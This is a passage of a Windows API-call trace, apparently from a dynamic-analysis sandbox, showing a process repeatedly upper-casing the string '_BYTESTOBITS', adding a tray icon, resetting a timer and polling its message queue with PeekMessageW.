cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.725] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.725] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.725] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.725] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.726] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.726] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.726] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.726] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.726] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.726] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.726] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.726] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.727] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.727] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.727] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.727] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.727] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.727] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.727] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.728] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.728] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.728] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.728] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.728] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.728] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.728] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.728] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.728] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.729] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.729] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.729] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.729] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.729] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.729] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.729] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.730] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.730] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.730] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.730] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.730] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.730] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.730] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.730] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.731] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.731] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.731] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.731] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.731] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.731] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.731] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.731] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.731] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.732] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.732] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.732] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.336] Shell_NotifyIconW (dwMessage=0x1, lpData=0x32af65ecc0) returned 1 [0053.336] KillTimer (hWnd=0xc002c, uIDEvent=0x1) returned 1 [0053.336] SetTimer (hWnd=0xc002c, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0053.336] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.336] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.336] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.337] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.337] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.337] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.337] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.337] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.337] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.338] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.338] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.338] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.338] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.338] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.338] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.338] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.338] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.339] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.339] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.339] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.339] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.339] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.339] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.339] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.340] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.340] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.340] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.340] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.340] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.340] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.341] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.341] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.342] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.342] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.342] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.342] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.342] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.342] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.342] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.342] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.342] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.342] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.343] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.343] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.343] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.343] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.343] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.343] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.343] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.343] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.343] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.343] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.343] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.344] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.344] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.344] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.344] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.344] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.344] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.344] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.344] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.344] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.344] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.344] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.344] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.344] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.344] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.344] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.344] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.345] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.345] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.345] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.345] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.345] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.345] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.345] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.345] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.345] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.345] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.345] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.345] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.345] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.345] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.345] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.345] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.345] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.345] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.345] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.345] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.345] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.345] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.345] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.345] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.345] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.345] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.345] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.345] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.345] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0053.345] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0053.346] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0053.346] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0053.346] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.346] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.346] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.346] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.346] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.346] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.346] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.346] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.346] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, 